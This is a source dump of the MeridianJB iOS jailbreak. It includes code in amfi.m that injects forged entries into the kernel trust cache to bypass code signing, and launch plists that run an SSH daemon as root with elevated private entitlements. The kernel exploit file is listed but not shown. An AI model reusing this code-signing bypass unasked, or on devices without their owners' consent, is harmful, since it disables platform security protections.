Full Code of PsychoTea/MeridianJB for AI

master 744996e73934 cached
136 files
564.7 KB
160.9k tokens
171 symbols
1 requests
Download .txt
Showing preview only (605K chars total). Download the full file or copy to clipboard to get everything.
Repository: PsychoTea/MeridianJB
Branch: master
Commit: 744996e73934
Files: 136
Total size: 564.7 KB

Directory structure:
gitextract_2p5ujygs/

├── .gitignore
├── LICENSE.md
├── Meridian/
│   ├── Meridian/
│   │   ├── amfi.h
│   │   ├── amfi.m
│   │   ├── bootstrap/
│   │   │   ├── create-meridian-bootstrap.sh
│   │   │   └── meridian-bootstrap/
│   │   │       ├── bin/
│   │   │       │   ├── launchctl
│   │   │       │   └── uicache
│   │   │       ├── meridian/
│   │   │       │   ├── dropbear/
│   │   │       │   │   ├── dropbear
│   │   │       │   │   └── dropbear.plist
│   │   │       │   ├── ent.plist
│   │   │       │   ├── jailbreakd/
│   │   │       │   │   ├── jailbreakd
│   │   │       │   │   └── jailbreakd.plist
│   │   │       │   ├── ldrestart
│   │   │       │   ├── nohup
│   │   │       │   └── offsets.plist
│   │   │       └── private/
│   │   │           └── var/
│   │   │               └── log/
│   │   │                   └── lastlog
│   │   ├── common.h
│   │   ├── helpers/
│   │   │   ├── cs_blobs.h
│   │   │   ├── fucksigningservices.h
│   │   │   ├── fucksigningservices.m
│   │   │   ├── helpers.h
│   │   │   ├── helpers.m
│   │   │   ├── iokit.h
│   │   │   ├── kernel.h
│   │   │   ├── kernel.m
│   │   │   ├── main.m
│   │   │   ├── nonce.h
│   │   │   ├── nonce.m
│   │   │   ├── nvpatch.c
│   │   │   ├── nvpatch.h
│   │   │   ├── untar.h
│   │   │   └── untar.m
│   │   ├── jailbreak.h
│   │   ├── jailbreak.m
│   │   ├── mach/
│   │   │   ├── jailbreak_daemonUser.c
│   │   │   └── jailbreak_daemonUser.h
│   │   ├── patchfinders/
│   │   │   ├── liboffsetfinder64.hpp
│   │   │   ├── offsetdump.h
│   │   │   ├── offsetdump.m
│   │   │   ├── offsetfinder.h
│   │   │   ├── offsetfinder.mm
│   │   │   ├── patchfinder64.c
│   │   │   └── patchfinder64.h
│   │   ├── preferences.h
│   │   ├── preferences.m
│   │   ├── root-rw.h
│   │   ├── root-rw.m
│   │   ├── v0rtex.h
│   │   ├── v0rtex.m
│   │   └── views/
│   │       ├── AppDelegate.h
│   │       ├── AppDelegate.m
│   │       ├── Assets.xcassets/
│   │       │   ├── AppIcon-Blue.appiconset/
│   │       │   │   └── Contents.json
│   │       │   ├── AppIcon-White.appiconset/
│   │       │   │   └── Contents.json
│   │       │   ├── Contents.json
│   │       │   ├── Icons/
│   │       │   │   ├── Contents.json
│   │       │   │   ├── archive.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── console.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── gears.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── hammer.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── handshake.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── jail.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── ladybug.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── list.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── settings.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── source_code.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── synchronize.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── trash.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   ├── twitter.imageset/
│   │       │   │   │   └── Contents.json
│   │       │   │   └── www.imageset/
│   │       │   │       └── Contents.json
│   │       │   ├── Map.imageset/
│   │       │   │   └── Contents.json
│   │       │   └── Splash.imageset/
│   │       │       └── Contents.json
│   │       ├── Base.lproj/
│   │       │   ├── LaunchScreen.storyboard
│   │       │   └── Main.storyboard
│   │       ├── CreditsController.h
│   │       ├── CreditsController.m
│   │       ├── Info.plist
│   │       ├── SettingsController.h
│   │       ├── SettingsController.m
│   │       ├── ViewController.h
│   │       └── ViewController.m
│   ├── Meridian.xcodeproj/
│   │   ├── project.pbxproj
│   │   └── project.xcworkspace/
│   │       ├── contents.xcworkspacedata
│   │       └── xcshareddata/
│   │           ├── IDEWorkspaceChecks.plist
│   │           └── WorkspaceSettings.xcsettings
│   ├── amfid/
│   │   ├── Makefile
│   │   ├── common.h
│   │   ├── cs_blobs.h
│   │   ├── cs_dingling.h
│   │   ├── cs_dingling.m
│   │   ├── ent_patching.h
│   │   ├── ent_patching.m
│   │   ├── helpers/
│   │   │   ├── kexecute.h
│   │   │   ├── kexecute.m
│   │   │   ├── kmem.c
│   │   │   ├── kmem.h
│   │   │   ├── offsetof.c
│   │   │   ├── offsetof.h
│   │   │   ├── osobject.c
│   │   │   └── osobject.h
│   │   ├── kern_utils.h
│   │   ├── kern_utils.m
│   │   ├── main.m
│   │   └── ubc_headers.h
│   ├── exportPlist.plist
│   ├── fishhook/
│   │   ├── fishhook.c
│   │   └── fishhook.h
│   ├── jailbreakd/
│   │   ├── Makefile
│   │   ├── common.h
│   │   ├── entitlements.xml
│   │   ├── helpers/
│   │   │   ├── kexecute.h
│   │   │   ├── kexecute.m
│   │   │   ├── kmem.h
│   │   │   ├── kmem.m
│   │   │   ├── offsetof.c
│   │   │   ├── offsetof.h
│   │   │   ├── osobject.c
│   │   │   └── osobject.h
│   │   ├── kern_utils.h
│   │   ├── kern_utils.m
│   │   ├── mach/
│   │   │   ├── jailbreak_daemonServer.c
│   │   │   ├── jailbreak_daemonServer.h
│   │   │   └── mig.defs
│   │   ├── main.m
│   │   ├── sandbox.h
│   │   └── sandbox.m
│   ├── libimg4tool.a
│   ├── libmerged.a
│   ├── liboffsetfinder64.a
│   ├── libplist++.a
│   ├── libplist.a
│   └── pspawn_hook/
│       ├── Makefile
│       ├── mach/
│       │   ├── jailbreak_daemonUser.c
│       │   └── jailbreak_daemonUser.h
│       └── pspawn_hook.m
├── README.md
└── Working_with_libjailbreak.md

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
.DS_Store
xcuserdata
*.xcuserstate
.theos
obj
build_time
**/bin

!**/meridian-bootstrap/**/*



================================================
FILE: LICENSE.md
================================================
MIT License

Copyright (c) 2017 Ben Sparkes

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: Meridian/Meridian/amfi.h
================================================
//
//  amfi.h
//  Meridian
//
//  Created by Ben Sparkes on 19/12/2017.
//  Copyright © 2017 Ben Sparkes. All rights reserved.
//

#include <stdint.h>
#include "helpers/cs_blobs.h"

typedef struct {
    const char *name;
    uint64_t file_off;
    int fd;
    const void *addr;
    size_t size;
} img_info_t;

typedef char hash_t[20];

struct trust_chain {
    uint64_t next;
    unsigned char uuid[16];
    unsigned int count;
    hash_t hash[1];
};

int init_amfi(void);
int inject_trust(const char *path);

void *put_dick_in_macho(const char *path, uint64_t file_off);
const uint8_t *find_code_signature(img_info_t *info, uint32_t *cs_size);
int find_best_codedir(const void *csblob, uint32_t blob_size, const CS_CodeDirectory **chosen_cd);
unsigned int hash_rank(const CS_CodeDirectory *cd);
int hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]);
const char *get_hash_name(uint8_t hash_type);
int open_img(img_info_t* info);
void close_img(img_info_t* info);


================================================
FILE: Meridian/Meridian/amfi.m
================================================
//
//  amfi.m
//  Meridian
//
//  Created by Ben Sparkes on 19/12/2017.
//  Copyright © 2017 Ben Sparkes. All rights reserved.
//

#import "patchfinder64.h"
#import "kernel.h"
#import "amfi.h"
#import "helpers.h"
#import <Foundation/Foundation.h>
#import <CommonCrypto/CommonDigest.h>
#import <mach-o/loader.h>
#import <mach-o/dyld_images.h>
#import <mach-o/fat.h>
#import <mach-o/swap.h>
#import <sys/stat.h>
#import <sys/event.h>
#import <dlfcn.h>
#import <pthread.h>
#import <sys/spawn.h>
#include <sys/mman.h>

#define ERROR(str, args...) LOG("ERROR: [%s] " str, __func__, ##args)
#define INFO(str, args...)  LOG("INFO: " str, ##args)

uint64_t trust_cache;
uint64_t amficache;

int init_amfi() {
    trust_cache = find_trustcache();
    amficache = find_amficache();
    
    NSLog(@"[amfi] trust_cache = 0x%llx \n", trust_cache);
    NSLog(@"[amfi] amficache = 0x%llx \n", amficache);
    
    if (trust_cache == 0 ||
        amficache == 0) {
        return -1;
    }
    
    return 0;
}

// creds to stek29(?)
int inject_trust(const char *path) {
    NSLog(@"[amfi] signing %s...", path);
    
    if (file_exists(path) != 0) {
        NSLog(@"[amfi] you wanka, %s doesn't exist!", path);
        return -1;
    }
    
    FILE *fd = fopen(path, "r");
    if (fd == NULL)
    {
        NSLog(@"[amfi] failed to open file %s!", path);
        return -1;
    }
    
    int num_found_hashes = 0;
    void *hash_array = NULL;
    
    uint32_t magic;
    fread(&magic, sizeof(magic), 1, fd);
    fseek(fd, 0, SEEK_SET);
    
    int is_swap = (magic == MH_CIGAM || magic == MH_CIGAM_64 || magic == FAT_CIGAM || magic == FAT_CIGAM_64);
    
    if (magic == MH_MAGIC || magic == MH_MAGIC_64 ||
        magic == MH_CIGAM || magic == MH_CIGAM_64)
    {
        // just single arch, just grab the hash
        fclose(fd);
        
        void *cd_hash = put_dick_in_macho(path, 0);
        
        if (cd_hash != NULL)
        {
            num_found_hashes++;
            hash_array = realloc(hash_array, num_found_hashes * CS_CDHASH_LEN);
            memcpy(hash_array + ((num_found_hashes - 1) * CS_CDHASH_LEN), cd_hash, CS_CDHASH_LEN);
        }
    }
    else if (magic == FAT_MAGIC || magic == FAT_MAGIC_64 ||
             magic == FAT_CIGAM || magic == FAT_CIGAM_64)
    {
        struct fat_header header;
        fread(&header, sizeof(header), 1, fd);
        if (is_swap) swap_fat_header(&header, 0);
        
        int arch_offset = sizeof(header);
        for (int i = 0; i < header.nfat_arch; i++)
        {
            struct fat_arch arch;
            fseek(fd, arch_offset, 0);
            fread(&arch, sizeof(struct fat_arch), 1, fd);
            if (is_swap) swap_fat_arch(&arch, 1, 0);
            
            fseek(fd, arch.offset, 0);
            
            uint32_t magic;
            fread(&magic, sizeof(magic), 1, fd);
            
            if (magic == MH_MAGIC || magic == MH_MAGIC_64 ||
                magic == MH_CIGAM || magic == MH_CIGAM_64)
            {
                void *cd_hash = put_dick_in_macho(path, arch.offset);
                
                if (cd_hash != NULL)
                {
                    num_found_hashes++;
                    hash_array = realloc(hash_array, num_found_hashes * CS_CDHASH_LEN);
                    memcpy(hash_array + ((num_found_hashes - 1) * CS_CDHASH_LEN), cd_hash, CS_CDHASH_LEN);
                }
            }
            
            arch_offset += sizeof(arch);
        }
        
        fclose(fd);
    }
    
    if (num_found_hashes == 0)
    {
        NSLog(@"[amfi] dood, we dinny find any hashes here :/ path: %s", path);
        return -1;
    }
    
    LOG("found %d hashes to inject", num_found_hashes);
    
    for (int i = 0; i < num_found_hashes; i++)
    {
        struct trust_chain fake_chain;
        
        fake_chain.next = rk64(trust_cache);
        *(uint64_t *)&fake_chain.uuid[0] = 0xabadbabeabadbabe;
        *(uint64_t *)&fake_chain.uuid[8] = 0xabadbabeabadbabe;
        fake_chain.count = 1;
        
        memcpy(fake_chain.hash[0], &hash_array[i * CS_CDHASH_LEN], CS_CDHASH_LEN);
        
        char msg[40 + 1];
        bzero(msg, sizeof(msg));
        char *ptr = msg;
        for (int i = 0; i < CS_CDHASH_LEN; i += sizeof(uint32_t))
        {
            ptr += sprintf(ptr, "%x", ntohl(*(uint32_t *)&fake_chain.hash[0][i]));
        }
        INFO("got cdhash: %s", msg);
        
        uint64_t kernel_trust = 0;
        mach_vm_allocate(tfp0, &kernel_trust, sizeof(fake_chain), VM_FLAGS_ANYWHERE);
        
        kwrite(kernel_trust, &fake_chain, sizeof(fake_chain));
        wk64(trust_cache, kernel_trust);
    }
    
    free(hash_array);
    NSLog(@"[amfi] signed %s \n", path);
    return 0;
}

void *put_dick_in_macho(const char *path, uint64_t file_off)
{
    img_info_t img;
    img.name = path;
    img.file_off = file_off;
    
    if (open_img(&img) != 0)
    {
        NSLog(@"[amfi] failed to open file: %s", path);
        close_img(&img);
        return NULL;
    }
    
    uint32_t cs_length = 0;
    const uint8_t *cs = find_code_signature(&img, &cs_length);
    if (cs == NULL)
    {
        NSLog(@"[amfi] failed to find code signature: %s", path);
        close_img(&img);
        return NULL;
    }
    
    const CS_CodeDirectory *chosen_csdir = NULL;
    if (find_best_codedir(cs, cs_length, &chosen_csdir) != 0)
    {
        NSLog(@"[amfi] failed to find best csdir");
        close_img(&img);
        return NULL;
    }
    
    void *cd_hash = malloc(CS_CDHASH_LEN);
    if (hash_code_directory(chosen_csdir, cd_hash) != 0)
    {
        NSLog(@"[amfi] failed to hash code directory for file %s", path);
        close_img(&img);
        return NULL;
    }
    
    close_img(&img);
    return cd_hash;
}

// Finds the LC_CODE_SIGNATURE load command
const uint8_t *find_code_signature(img_info_t *info, uint32_t *cs_size) {
#define _LOG_ERROR(str, args...) ERROR("(%s) " str, info->name, ##args)
    if (info == NULL || info->addr == NULL) {
        return NULL;
    }
    
    // mach_header_64 is mach_header + reserved for padding
    const struct mach_header *mh = (const struct mach_header*)info->addr;
    
    uint32_t sizeofmh = 0;
    
    switch (mh->magic) {
        case MH_MAGIC_64:
            sizeofmh = sizeof(struct mach_header_64);
            break;
        case MH_MAGIC:
            sizeofmh = sizeof(struct mach_header);
            break;
        default:
            _LOG_ERROR("your magic is not valid in these lands: %08x", mh->magic);
            return NULL;
    }
    
    if (mh->sizeofcmds < mh->ncmds * sizeof(struct load_command)) {
        _LOG_ERROR("Corrupted macho (sizeofcmds < ncmds * sizeof(lc))");
        return NULL;
    }
    if (mh->sizeofcmds + sizeofmh > info->size) {
        _LOG_ERROR("Corrupted macho (sizeofcmds + sizeof(mh) > size)");
        return NULL;
    }
    
    const struct load_command *cmd = (const struct load_command *)((uintptr_t) info->addr + sizeofmh);
    for (int i = 0; i != mh->ncmds; ++i) {
        if (cmd->cmd == LC_CODE_SIGNATURE) {
            const struct linkedit_data_command* cscmd = (const struct linkedit_data_command*)cmd;
            if (cscmd->dataoff + cscmd->datasize > info->size) {
                _LOG_ERROR("Corrupted LC_CODE_SIGNATURE: dataoff + datasize > fsize");
                return NULL;
            }
            
            if (cs_size) {
                *cs_size = cscmd->datasize;
            }
            
            return (const uint8_t*)((uintptr_t)info->addr + cscmd->dataoff);
        }
        
        cmd = (const struct load_command *)((uintptr_t)cmd + cmd->cmdsize);
        if ((uintptr_t)cmd + sizeof(struct load_command) > (uintptr_t)info->addr + info->size) {
            _LOG_ERROR("Corrupted macho: Unexpected end of file while parsing load commands");
            return NULL;
        }
    }
    
    _LOG_ERROR("Didnt find the code signature");
    return NULL;
#undef _LOG_ERROR
}

#define BLOB_FITS(blob, size) ((size >= sizeof(*blob)) && (size >= ntohl(blob->length)))

// xnu-3789.70.16/bsd/kern/ubc_subr.c#470
int find_best_codedir(const void *csblob, uint32_t blob_size, const CS_CodeDirectory **chosen_cd) {
    *chosen_cd = NULL;
    
    const CS_GenericBlob *blob = (const CS_GenericBlob *)csblob;
    
    if (!BLOB_FITS(blob, blob_size)) {
        ERROR("csblob too small even for generic blob");
        return 1;
    }
    
    uint32_t length = ntohl(blob->length);
    
    if (ntohl(blob->magic) == CSMAGIC_EMBEDDED_SIGNATURE) {
        const CS_CodeDirectory *best_cd = NULL;
        int best_rank = 0;
        
        const CS_SuperBlob *sb = (const CS_SuperBlob *)csblob;
        uint32_t count = ntohl(sb->count);
        
        if (!BLOB_FITS(sb, blob_size)) {
            ERROR("csblob too small for superblob");
            return 1;
        }
        
        for (int n = 0; n < count; n++){
            const CS_BlobIndex *blobIndex = &sb->index[n];
            
            uint32_t type = ntohl(blobIndex->type);
            uint32_t offset = ntohl(blobIndex->offset);
            
            if (length < offset) {
                ERROR("offset of blob #%d overflows superblob length", n);
                return 1;
            }
            
            const CS_GenericBlob *subBlob = (const CS_GenericBlob *)((uintptr_t)csblob + offset);
            
            if (type == CSSLOT_CODEDIRECTORY || (type >= CSSLOT_ALTERNATE_CODEDIRECTORIES && type < CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT)) {
                const CS_CodeDirectory *candidate = (const CS_CodeDirectory *)subBlob;
                
                unsigned int rank = hash_rank(candidate);
                
                // Apple's code: `rank > best_rank` (kind of obvious, right?)
                // So why is it I have to switch it to get it to work?
                // macos-10.12.6-sierra/xnu-3789.70.16/bsd/kern/ubc_subr.c#534
                if (best_cd == NULL || rank < best_rank) {
                    best_cd = candidate;
                    best_rank = rank;
                    
                    *chosen_cd = best_cd;
                }
            }
        }
    } else if (ntohl(blob->magic) == CSMAGIC_CODEDIRECTORY) {
        *chosen_cd = (const CS_CodeDirectory *)blob;
    } else {
        ERROR("Unknown magic at csblob start: %08x", ntohl(blob->magic));
        return 1;
    }
    
    if (chosen_cd == NULL) {
        ERROR("didn't find codedirectory to hash");
        return 1;
    }
    
    return 0;
}

// xnu-3789.70.16/bsd/kern/ubc_subr.c#231
unsigned int hash_rank(const CS_CodeDirectory *cd) {
    uint32_t type = cd->hashType;
    
    for (unsigned int n = 0; n < sizeof(hashPriorities) / sizeof(hashPriorities[0]); ++n) {
        if (hashPriorities[n] == type) {
            return n + 1;
        }
    }
    
    return 0;
}

int hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]) {
    uint32_t realsize = ntohl(directory->length);
    
    if (ntohl(directory->magic) != CSMAGIC_CODEDIRECTORY) {
        ERROR("expected CSMAGIC_CODEDIRECTORY");
        return 1;
    }
    
    uint8_t out[CS_HASH_MAX_SIZE];
    uint8_t hash_type = directory->hashType;
    
    switch (hash_type) {
        case CS_HASHTYPE_SHA1:
            CC_SHA1(directory, realsize, out);
            break;
            
        case CS_HASHTYPE_SHA256:
        case CS_HASHTYPE_SHA256_TRUNCATED:
            CC_SHA256(directory, realsize, out);
            break;
            
        case CS_HASHTYPE_SHA384:
            CC_SHA384(directory, realsize, out);
            break;
            
        default:
            INFO("Unknown hash type: 0x%x", hash_type);
            return 2;
    }
    
    memcpy(hash, out, CS_CDHASH_LEN);
    return 0;
}

const char *get_hash_name(uint8_t hash_type) {
    switch (hash_type) {
        case CS_HASHTYPE_SHA1:
            return "SHA1";
            
        case CS_HASHTYPE_SHA256:
        case CS_HASHTYPE_SHA256_TRUNCATED:
            return "SHA256";
            
        case CS_HASHTYPE_SHA384:
            return "SHA384";
            
        default:
            return "UNKNWON";
    }
    
    return "";
}

int open_img(img_info_t* info) {
#define _LOG_ERROR(str, args...) ERROR("(%s) " str, info->name, ##args)
    int ret = -1;
    
    if (info == NULL) {
        INFO("img info is NULL");
        return ret;
    }
    
    info->fd = -1;
    info->size = 0;
    info->addr = NULL;
    
    info->fd = open(info->name, O_RDONLY);
    if (info->fd == -1) {
        _LOG_ERROR("Couldn't open file");
        ret = 1;
        goto out;
    }
    
    struct stat s;
    if (fstat(info->fd, &s) != 0) {
        _LOG_ERROR("fstat: 0x%x (%s)", errno, strerror(errno));
        ret = 2;
        goto out;
    }
    
    size_t fsize = s.st_size;
    info->size = fsize - info->file_off;
    const void *map = mmap(NULL, fsize, PROT_READ, MAP_PRIVATE, info->fd, 0);
    
    if (map == MAP_FAILED) {
        _LOG_ERROR("mmap: 0x%x (%s)", errno, strerror(errno));
        ret = 4;
        goto out;
    }
    
    info->addr = (const void*) ((uintptr_t) map + info->file_off);
    ret = 0;
    
    out:;
    if (ret) {
        close_img(info);
    }
    return ret;
    
#undef _LOG_ERROR
}

void close_img(img_info_t* info) {
    if (info == NULL) {
        return;
    }
    
    if (info->addr != NULL) {
        const void *map = (void*) ((uintptr_t) info->addr - info->file_off);
        size_t fsize = info->size + info->file_off;
        
        munmap((void*)map, fsize);
    }
    
    if (info->fd != -1) {
        close(info->fd);
    }
}


================================================
FILE: Meridian/Meridian/bootstrap/create-meridian-bootstrap.sh
================================================
#!/bin/bash

currDir=$(dirname $0)
meridianDir=$currDir/../..
baseDir=$currDir/meridian-bootstrap

# amfid_payload.dylib 
cp $meridianDir/amfid/bin/* $baseDir/meridian/

# pspawn_hook.dylib
cp $meridianDir/pspawn_hook/bin/* $baseDir/usr/lib/

# jailbreakd
cp $meridianDir/jailbreakd/bin/* $baseDir/meridian/jailbreakd/

# remove all .DS_Store files
find $baseDir -name '.DS_Store' -delete

# create tar archive
cd $baseDir
COPYFILE_DISABLE=1 tar -cf meridian-bootstrap.tar ./*
mv meridian-bootstrap.tar $currDir


================================================
FILE: Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/dropbear/dropbear.plist
================================================
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>dropbear</string>
	<key>Program</key>
	<string>/meridian/dropbear/dropbear</string>
	<key>UserName</key>
	<string>root</string>
	<key>RunAtLoad</key>
	<true/>
	<key>KeepAlive</key>
	<true/>
	<key>StandardErrorPath</key>
	<string>/var/log/dropbear-stderr.log</string>
	<key>ProgramArguments</key>
	<array>
		<string>/meridian/dropbear/dropbear</string>
		<string>-p</string>
		<string>22</string>
		<string>-p</string>
		<string>2222</string>
		<string>-F</string>
		<string>-R</string>
		<string>-E</string>
		<string>-m</string>
		<string>-S</string>
		<string>/</string>
	</array>
	<key>StandardOutPath</key>
	<string>/var/log/dropbear-stdout.log</string>
</dict>
</plist>


================================================
FILE: Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/ent.plist
================================================
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>com.apple.system-task-ports</key>
	<true/>
	<key>task_for_pid-allow</key>
	<true/>
	<key>com.apple.private.security.no-container</key>
	<true/>
	<key>platform-application</key>
	<true/>
	<key>get-task-allow</key>
	<true/>
	<key>com.apple.private.skip-library-validation</key>
	<true/>
	<key>com.apple.lsapplicationworkspace.rebuildappdatabases</key>
	<true/>
</dict>
</plist>


================================================
FILE: Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/jailbreakd/jailbreakd.plist
================================================
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>jailbreakd</string>
	<key>Program</key>
	<string>/meridian/jailbreakd/jailbreakd</string>
	<key>EnvironmentVariables</key>
	<dict>
		<key>KernelBase</key>
		<string>0x0000000000000000</string>
		<key>KernProcAddr</key>
		<string>0x0000000000000000</string>
		<key>ZoneMapOffset</key>
		<string>0x0000000000000000</string>
		<key>AddRetGadget</key>
		<string>0x0000000000000000</string>
		<key>OSBooleanTrue</key>
		<string>0x0000000000000000</string>
		<key>OSBooleanFalse</key>
		<string>0x0000000000000000</string>
		<key>OSUnserializeXML</key>
		<string>0x0000000000000000</string>
		<key>Smalloc</key>
		<string>0x0000000000000000</string>
	</dict>
	<key>UserName</key>
	<string>root</string>
	<key>MachServices</key>
	<dict>
		<key>zone.sparkes.jailbreakd</key>
		<dict>
			<key>HostSpecialPort</key>
			<integer>15</integer>
		</dict>
	</dict>
	<key>RunAtLoad</key>
	<true/>
	<key>KeepAlive</key>
	<true/>
	<key>StandardErrorPath</key>
	<string>/var/log/jailbreakd-stderr.log</string>
	<key>StandardOutPath</key>
	<string>/var/log/jailbreakd-stdout.log</string>
</dict>
</plist>


================================================
FILE: Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/offsets.plist
================================================
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict/>
</plist>


================================================
FILE: Meridian/Meridian/bootstrap/meridian-bootstrap/private/var/log/lastlog
================================================


================================================
FILE: Meridian/Meridian/common.h
================================================
#ifndef COMMON_H
#define COMMON_H

#include <stdint.h>             // uint*_t
#include <Foundation/Foundation.h>

#define LOG(str, args...) do { NSLog(@str "\n", ##args); } while(0)

#ifdef __LP64__
#   define ADDR "0x%016llx"
    typedef uint64_t kptr_t;
#else
#   define ADDR "0x%08x"
    typedef uint32_t kptr_t;
#endif

#endif


================================================
FILE: Meridian/Meridian/helpers/cs_blobs.h
================================================
// credits @stek29 - https://github.com/stek29/electra/blob/amfid_fix/basebinaries/amfid_payload/
// from: xnu osfmk/kern/cs_blobs.h

#define CS_VALID                    0x0000001    /* dynamically valid */
#define CS_ADHOC                    0x0000002    /* ad hoc signed */
#define CS_GET_TASK_ALLOW           0x0000004    /* has get-task-allow entitlement */
#define CS_INSTALLER                0x0000008    /* has installer entitlement */

#define CS_HARD                     0x0000100    /* don't load invalid pages */
#define CS_KILL                     0x0000200    /* kill process if it becomes invalid */
#define CS_CHECK_EXPIRATION         0x0000400    /* force expiration checking */
#define CS_RESTRICT                 0x0000800    /* tell dyld to treat restricted */
#define CS_ENFORCEMENT              0x0001000    /* require enforcement */
#define CS_REQUIRE_LV               0x0002000    /* require library validation */
#define CS_ENTITLEMENTS_VALIDATED   0x0004000    /* code signature permits restricted entitlements */

#define CS_ALLOWED_MACHO    (CS_ADHOC | CS_HARD | CS_KILL | CS_CHECK_EXPIRATION | CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV)

#define CS_EXEC_SET_HARD            0x0100000    /* set CS_HARD on any exec'ed process */
#define CS_EXEC_SET_KILL            0x0200000    /* set CS_KILL on any exec'ed process */
#define CS_EXEC_SET_ENFORCEMENT     0x0400000    /* set CS_ENFORCEMENT on any exec'ed process */
#define CS_EXEC_SET_INSTALLER       0x0800000    /* set CS_INSTALLER on any exec'ed process */

#define CS_KILLED                   0x1000000    /* was killed by kernel for invalidity */
#define CS_DYLD_PLATFORM            0x2000000    /* dyld used to load this is a platform binary */
#define CS_PLATFORM_BINARY          0x4000000    /* this is a platform binary */
#define CS_PLATFORM_PATH            0x8000000    /* platform binary by the fact of path (osx only) */
#define CS_DEBUGGED                 0x10000000   /* process is currently or has previously been debugged and allowed to run with invalid pages */
#define CS_SIGNED                   0x20000000   /* process has a signature (may have gone invalid) */
#define CS_DEV_CODE                 0x40000000   /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */

#define CS_ENTITLEMENT_FLAGS    (CS_GET_TASK_ALLOW | CS_INSTALLER)

typedef struct __attribute__((packed)) {
    uint32_t magic;                 /* magic number (CSMAGIC_CODEDIRECTORY) */
    uint32_t length;                /* total length of CodeDirectory blob */
    uint32_t version;               /* compatibility version */
    uint32_t flags;                 /* setup and mode flags */
    uint32_t hashOffset;            /* offset of hash slot element at index zero */
    uint32_t identOffset;           /* offset of identifier string */
    uint32_t nSpecialSlots;         /* number of special hash slots */
    uint32_t nCodeSlots;            /* number of ordinary (code) hash slots */
    uint32_t codeLimit;             /* limit to main image signature range */
    uint8_t hashSize;               /* size of each hash in bytes */
    uint8_t hashType;               /* type of hash (cdHashType* constants) */
    uint8_t platform;               /* platform identifier; zero if not platform binary */
    uint8_t pageSize;               /* log2(page size in bytes); 0 => infinite */
    uint32_t spare2;                /* unused (must be zero) */

    char end_earliest[0];

    /* Version 0x20100 */
    uint32_t scatterOffset;         /* offset of optional scatter vector */
    char end_withScatter[0];

    /* Version 0x20200 */
    uint32_t teamOffset;            /* offset of optional team identifier */
    char end_withTeam[0];

    /* Version 0x20300 */
    uint32_t spare3;                /* unused (must be zero) */
    uint64_t codeLimit64;           /* limit to main image signature range, 64 bits */
    char end_withCodeLimit64[0];

    /* Version 0x20400 */
    uint64_t execSegBase;           /* offset of executable segment */
    uint64_t execSegLimit;          /* limit of executable segment */
    uint64_t execSegFlags;          /* executable segment flags */
    char end_withExecSeg[0];
} CS_CodeDirectory;

typedef struct __attribute__((packed)) {
    uint32_t type;                  /* type of entry */
    uint32_t offset;                /* offset of entry */
} CS_BlobIndex;

typedef struct __attribute__((packed)) {
    uint32_t magic;                 /* magic number */
    uint32_t length;                /* total length of SuperBlob */
    uint32_t count;                 /* number of index entries following */
    CS_BlobIndex index[];           /* (count) entries */
    /* followed by Blobs in no particular order as indicated by offsets in index */
} CS_SuperBlob;

typedef struct __attribute__((packed)) {
    uint32_t magic;                 /* magic number */
    uint32_t length;                /* total length of blob */
    char data[];
} CS_GenericBlob;

typedef struct __SC_Scatter {
    uint32_t count;            // number of pages; zero for sentinel (only)
    uint32_t base;            // first page number
    uint64_t targetOffset;        // offset in target
    uint64_t spare;            // reserved
} SC_Scatter;

/*
 * Magic numbers used by Code Signing
